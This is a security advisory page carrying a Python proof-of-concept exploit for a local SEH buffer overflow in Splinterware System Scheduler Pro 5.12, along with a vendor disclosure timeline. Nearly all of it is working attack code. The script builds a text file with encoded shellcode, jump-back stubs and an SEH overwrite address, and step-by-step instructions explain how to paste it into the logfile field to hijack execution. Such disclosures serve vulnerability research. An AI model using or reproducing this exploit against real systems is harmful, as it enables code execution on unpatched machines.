Splinterware System Scheduler Pro 5.12 Buffer Overflow (SEH)

2018.07.26
Credit: bzyo
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python # # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: Splinterware System Scheduler Pro 5.12 - Local Buffer Overflow (SEH) # Date: 07-21-18 # Vulnerable Software: System Scheduler Pro 5.12 # Vendor Homepage: https://www.splinterware.com # Version: 5.12 # Software Link: https://www.splinterware.com/download/ssproeval.exe # Tested Windows 7 SP1 x86 # # # # PoC # 1. generate sysschedule512.txt, copy contents to clipboard # 2. open application # 3. select view, preferences and in the Startup/Logging tab # 4. paste contents from clipboard to the logfile location field # 5. exit preferences # 6. create dummy task to open notepad.exe # 7. run task, notepad opens # 8. close notepad # 9. pop-up window appears and application crashes import struct filename="sysschedule512.txt" junk = "A"*55 #thx giuseppe d'amore for edb-id 28996; edited pop-up msg & encoded #msfencode -e x86/alpha_mixed -i bzyo; size 287 msg = ("\x89\xe5\xda\xc4\xd9\x75\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" "\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" "\x75\x4a\x49\x74\x71\x58\x52\x4c\x72\x30\x30\x52\x44\x6c" "\x4b\x75\x42\x4c\x4b\x62\x72\x34\x4c\x4e\x6b\x30\x52\x45" "\x4c\x6e\x6b\x73\x72\x56\x68\x6c\x4b\x64\x32\x31\x30\x6c" "\x4b\x66\x72\x4d\x50\x33\x4e\x66\x6c\x50\x33\x32\x55\x39" "\x62\x4f\x79\x6a\x67\x43\x33\x62\x58\x67\x4c\x6c\x4b\x56" "\x37\x33\x48\x66\x61\x4a\x62\x4e\x6b\x51\x6a\x77\x50\x55" "\x51\x49\x57\x66\x51\x58\x6d\x4e\x6b\x30\x34\x6c\x6f\x76" "\x61\x69\x56\x57\x35\x4d\x51\x67\x4e\x31\x56\x35\x31\x74" "\x34\x63\x51\x64\x35\x49\x62\x4f\x71\x43\x4e\x46\x68\x53" "\x75\x53\x48\x71\x79\x64\x34\x30\x75\x5a\x49\x6c\x4b\x30" "\x7a\x51\x34\x33\x31\x59\x57\x42\x46\x4c\x4b\x44\x6c\x50" "\x6f\x4e\x6b\x52\x5a\x45\x4c\x65\x51\x4b\x77\x6e\x6b\x71" "\x6c\x6e\x4f\x6b\x4c\x55\x51\x38\x47\x51\x78\x37\x51\x75" "\x71\x37\x51\x76\x61\x65\x38\x71\x52\x61\x4a\x43\x69\x50" "\x4f\x50\x68\x31\x30\x55\x71\x64\x61\x67\x51\x6d\x59\x48" "\x61\x6b\x4e\x73\x79\x66\x6b\x44\x71\x6b\x70\x66\x31\x50" "\x50\x49\x6f\x68\x57\x41\x41") junk1 = "B"*56 #jmp back to As jmp3 = "\xe9\x6f\xfe\xff\xff" junk2= "C"*4 #jmp back after random 8 nulls added jmp2 = "\xeb\xf5" junk3 = "C"*10 #jmp back before random 8 nulls added jmp = "\xeb\xf2\xcc\xcc" seh = struct.pack('<L',0x00413121) buffer = junk + msg + junk1 + jmp3 + junk2 + jmp2 + junk3 + jmp + seh textfile = open(filename , 'w') textfile.write(buffer) textfile.close() # Timeline #--------------------------------------------------------------------- #05-02-18: Vendor notified of vulnerability #05-03-18: Initial vendor response #05-09-18: Issues resolved after some back and forth discussion #07-20-18: New version released, 5.13, with issue fixed #07-21-18: Submitted public disclosure


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